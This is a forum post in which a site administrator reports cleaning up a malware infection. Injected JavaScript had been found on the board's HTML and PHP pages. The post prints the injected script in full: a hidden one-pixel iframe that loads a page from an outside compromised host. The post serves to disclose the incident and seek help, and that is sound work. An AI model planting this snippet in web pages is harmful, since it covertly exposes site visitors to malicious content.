Just to give a little bit of a status update with regards to the malware issue.
I initially thought that the malware problem was a false positive, but it turned out, that it indeed was a REAL problem. Somehow (still trying to find the culprit) the website had javascript code embedded on all the html pages and several php pages.
I ended up having to do a clean install of the board, and I disabled the mods for the time being.
I have found out that the pages have been injected on 12\10\12, I'm still trying to figure out how, but basically this is the syntax that was embedded
Code:
<!--f524d6--><script type="text/javascript" language="javascript" > (function () { var vjh = document.createElement('iframe'); vjh.src = 'http://varmeteknik.se/wp-admin/count.php'; vjh.style.position = 'absolute'; vjh.style.border = '0'; vjh.style.height = '1px'; vjh.style.width = '1px'; vjh.style.left = '1px'; vjh.style.top = '1px'; if (!document.getElementById('vjh')) { document.write('<div id=\'vjh\'></div>'); document.getElementById('vjh').appendChild(vjh); }})();</script><!--/f524d6-->
This could also be the reason why the home page jquery stuff is off, because I found it was embedded in there along with other pages. The cleaning process could be a tedious one, but I'm doing my best to get this all sorted out. I have a backup of everything just in case.
Thanks for your patience everyone, and if anyone has any more info about this attack or anything that can help secure against it, please let me know.